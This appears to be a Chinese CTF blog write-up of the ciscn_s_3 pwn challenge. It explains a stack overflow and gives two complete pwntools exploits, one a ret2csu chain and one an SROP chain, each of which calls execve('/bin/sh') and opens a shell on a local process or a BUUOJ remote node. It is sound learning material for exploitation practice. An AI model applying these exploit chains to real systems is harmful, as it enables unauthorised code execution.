依旧是被ciscn血虐的几天,这道题的难度超乎我的想象(就是我太菜了,但同样的我也学会的很多东西,虽然学的比较慢
很明显是一个64位的动态连接文件并且只开启了NX保护:
这题漏洞很明显,sys_read可以读入0x400字节的数据,远远大过buf的大小,所以这里可以直接溢出。
还是可以看到程序中还有两个gadget可以使用,而这就是下面为什么有两种方法的原因:
assembly.text:00000000004004D6 ; Attributes: bp-based frame .text:00000000004004D6 .text:00000000004004D6 public gadgets .text:00000000004004D6 gadgets proc near .text:00000000004004D6 ; __unwind { .text:00000000004004D6 55 push rbp .text:00000000004004D7 48 89 E5 mov rbp, rsp .text:00000000004004DA 48 C7 C0 0F 00+ mov rax, 0Fh .text:00000000004004DA 00 00 .text:00000000004004E1 C3 retn .text:00000000004004E1 gadgets endp ; sp-analysis failed .text:00000000004004E1 .text:00000000004004E2 ; --------------------------------------------------------------------------- .text:00000000004004E2 48 C7 C0 3B 00+ mov rax, 3Bh ; ';' .text:00000000004004E2 00 00 .text:00000000004004E9 C3 retn .text:00000000004004E9 ; --------------------------------------------------------------------------- .text:00000000004004EA 90 db 90h .text:00000000004004EB ; --------------------------------------------------------------------------- .text:00000000004004EB 5D pop rbp .text:00000000004004EC C3 retn .text:00000000004004EC ; } // starts at 4004D6
注意其中
assembly.text:00000000004004E2 48 C7 C0 3B 00+ mov rax, 3Bh ; ';' --- .text:00000000004004DA 48 C7 C0 0F 00+ mov rax, 0Fh
这里我们要知道再x64架构下execve和sys_rt_sigreturn的系统调用就是59(0x3B)和15(0xF),所以这里有可以直接用execve(“/bin/sh”,0,0)或者有SROP的方法伪造signal frame构造execve(“/bin/sh”,0,0)再利用sys_rt_sigreturn来getshell
这里大抵有两种方法可以利用:
至于这里为什么不能用ret2libc3大抵是因为这里read和write函数都是直接进行系统调用的libc库里面实际是找不到这两个函数的
这里的exp说实话是写不来的,还是看大佬的理解了一下:
已经知道了溢出点,接下来就需要构造payload,但这里我们没有system和binsh并且也没有办法实现got表查libc的方法,got表东西实在是太少了(也许也可以利用__libc_start_main,有时间试试
但是我们有execve的系统调用号,也有现成的systcall,所以这里我们只需要往栈里写入/bin/sh再知道其地址即可:
pythonpayload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(vuln)
io.send(payload)
这里有两个值得注意的点:
第一他的返回地址其实就是esp的地址:
这里我们都清楚retn == pop eip,即将栈顶地址pop到eip中,而这里看汇编:
assembly.text:00000000004004ED 55 push rbp .text:00000000004004EE 48 89 E5 mov rbp, rsp .text:00000000004004F1 48 31 C0 xor rax, rax .text:00000000004004F4 BA 00 04 00 00 mov edx, 400h ; count .text:00000000004004F9 48 8D 74 24 F0 lea rsi, [rsp+buf] ; buf .text:00000000004004FE 48 89 C7 mov rdi, rax ; fd .text:0000000000400501 0F 05 syscall ; LINUX - sys_read .text:0000000000400503 48 C7 C0 01 00+ mov rax, 1 .text:0000000000400503 00 00 .text:000000000040050A BA 30 00 00 00 mov edx, 30h ; '0' ; count .text:000000000040050F 48 8D 74 24 F0 lea rsi, [rsp+buf] ; buf .text:0000000000400514 48 89 C7 mov rdi, rax ; fd .text:0000000000400517 0F 05 syscall ; LINUX - sys_write .text:0000000000400519 C3 retn .text:0000000000400519 vuln endp ; sp-analysis failed .text:0000000000400519 .text:0000000000400519 ; --------------------------------------------------------------------------- .text:000000000040051A 90 db 90h .text:000000000040051B ; --------------------------------------------------------------------------- .text:000000000040051B 5D pop rbp .text:000000000040051C C3 retn .text:000000000040051C ; } // starts at 4004ED
从汇编中可以清晰地看出这里的系统调用并没有leave指令:mov ebp,esp | pop ebp
所以这里实际的返回地址就是rsp指向的地方也就是rbp,
所以这里做溢出的时候就不能单纯的看栈空间来溢出,我在这里卡了很久:
写入的/bin/sh的地址需要gdb动态调试才能看出:
这里可以知道0x7ffecbd3edc0处有一个有一个地址,而/bin/sh的地址是│0x7ffecbd3eda0这里就可以通过固定的偏移来计算/bin/sh的地址
txt这里可以计算偏移为:0x00007ffecbd3eee8 - 0x7ffecbd3eda0 = 0x148
所以有:
pythonbinsh_addr = u64(io.recv()[0x20:0x28])-0x148
print(hex(binsh_addr))
然后就是最后的攻击:
这里我们选择用csu_init来构造payload,因为这里我们使用的大量的gadget实际上是找不到的,只有csu这里的最为合适:
pythonpoprdi = 0x04005a3
csu_last = 0x0040059A
csu_former = 0x0400580
syscall = 0x0400501
execve = 0x4004E2
..........................................................
payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(csu_last) +\
p64(0)*2 + p64(binsh_addr + 0x50) + p64(0)*3+p64(csu_former)+\
p64(execve)+p64(poprdi)+p64(binsh_addr)+p64(syscall)
assemblycsu_last & csu_former .text:0000000000400580 loc_400580: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000400580 4C 89 EA mov rdx, r13 .text:0000000000400583 4C 89 F6 mov rsi, r14 .text:0000000000400586 44 89 FF mov edi, r15d .text:0000000000400589 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8] .text:000000000040058D 48 83 C3 01 add rbx, 1 .text:0000000000400591 48 39 EB cmp rbx, rbp .text:0000000000400594 75 EA jnz short loc_400580 .text:0000000000400596 .text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34↑j .text:0000000000400596 48 83 C4 08 add rsp, 8 .text:000000000040059A 5B pop rbx .text:000000000040059B 5D pop rbp .text:000000000040059C 41 5C pop r12 .text:000000000040059E 41 5D pop r13 .text:00000000004005A0 41 5E pop r14 .text:00000000004005A2 41 5F pop r15 .text:00000000004005A4 C3 retn .text:00000000004005A4 ; } // starts at 400540
pythonfrom pwn import*
context(log_level = 'debug',arch ='amd64',os = 'linux')
context.terminal= ['tmux','split','-h']
local = 2
if local == 1:
io = remote('node4.buuoj.cn',26606)
else :
io = process('./ciscn_s_3')
elf = ELF('./ciscn_s_3')
poprdi = 0x04005a3
csu_last = 0x0040059A
csu_former = 0x0400580
vuln = elf.sym['vuln']
syscall = 0x0400501
pre_rbp = 0x07ffceb64f728
execve = 0x4004E2
# gdb.attach(io)
payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(vuln)
io.send(payload)
binsh_addr = u64(io.recv()[0x20:0x28])-0x148
print(hex(binsh_addr))
gdb.attach(io)
payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(csu_last) +\
p64(0)*2 + p64(binsh_addr + 0x50) + p64(0)*3+p64(csu_former)+\
p64(execve)+p64(poprdi)+p64(binsh_addr)+p64(syscall)
io.sendline(payload)
io.interactive()
但这里还有几点注意:
What is sigal 机制:
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:
- 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
- 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。**需要注意的是,这一部分是在用户进程的地址空间的。**之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
这里需要理解signal的机制,以ciscn_s_3为例:
程序如上图,这里直接给exp:
pythonfrom pwn import*
context(log_level = 'debug',arch ='amd64',os = 'linux')
context.terminal= ['tmux','split','-h']
local = 2
if local == 1:
io = remote('node4.buuoj.cn',26606)
else :
io = process('./ciscn_s_3')
elf = ELF('./ciscn_s_3')
poprdi = 0x04005a3
csu_last = 0x0040059A
csu_former = 0x0400580
vuln = elf.sym['vuln']
syscall = 0x0400501
pre_rbp = 0x07ffceb64f728
execve = 0x4004E2
# # gdb.attach(io)
payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(vuln)
io.send(payload)
binsh_addr = u64(io.recv()[0x20:0x28])-0x148
print(hex(binsh_addr))
# # # gdb.attach(io)
# payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(csu_last) +\
# p64(0)*2 + p64(binsh_addr + 0x50) + p64(0)*3+p64(csu_former)+\
# p64(execve)+p64(poprdi)+p64(binsh_addr)+p64(syscall)
# io.sendline(payload)
# io.interactive()
sigreturn = 0x04004DA
# frame = SigreturnFrame()
# frame.rax = 0xf
# frame.rip = syscall
frame1 = SigreturnFrame()
frame1.rax = constants.SYS_execve
frame1.rdi = binsh_addr
frame1.rsi = 0
frame1.rdx = 0
frame1.rip = syscall
# # frame_packed = p64(frame.rax) + p64(frame.rdi) + p64(frame.rsi) + p64(frame.rdx) + p64(frame.rip)
# gdb.attach(io)
payload = (b'/bin/sh\x00').ljust(0x10,b'b') + p64(sigreturn) +p64(syscall) + bytes(frame1) + p64(vuln)
# payload = (b'/bin/sh\x00').ljust(0x10,b'b') + bytes(frame) + bytes(frame1) + p64(vuln)
io.sendline(payload)
io.interactive()
这里pwntools直接集成了srop模块,对于SignalFrame的伪造会方便很多,当然这里还是列出x64和x86架构下的SigalFrame结构:
X86:
cstruct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
X64:
cstruct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
pythonframe1 = SigreturnFrame()
frame1.rax = constants.SYS_execve
frame1.rdi = binsh_addr
frame1.rsi = 0
frame1.rdx = 0
frame1.rip = syscall
通过这样的简单构造就可以直接把个寄存器设置为自己需要的值,这就是对execve的系统调用。
下面分析payload,这里有我一开始有一点迷惑:就是为什么在
*p64(sigreturn)*之后还要再syscall一次,这里我其实被我自己的写法给误导了,我一开始以为p64(sigreturn)就已经将伪造的SignalFrame恢复,其实不然,这里p64(sigreturn)仅仅只是
assemblytext:00000000004004DA 48 C7 C0 0F 00+ mov rax, 0Fh .text:00000000004004DA 00 00 .text:00000000004004E1 C3 retn
这样一段汇编内容,并没有对syscall的调用,也就没有进入内核态,也就自然没法恢复伪造的SignalFrame来完成攻击,
python# frame = SigreturnFrame()
# frame.rax = 0xf
# frame.rip = syscall
而上面这一段被我注释的内容实际上是我有些想当然了,我以为这样构造也可以完成对sigreturn的调用,实际上也是不可以的,因为srop的原理其实就是利用signalreturn恢复机制来完成操作,但这里实际上我将“果”当“因”处理了,是行不通的。
这里的难点其实还是方法一,还是有很多不懂的点,这样的payload实在是巧妙。
本文作者:Hyrink
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!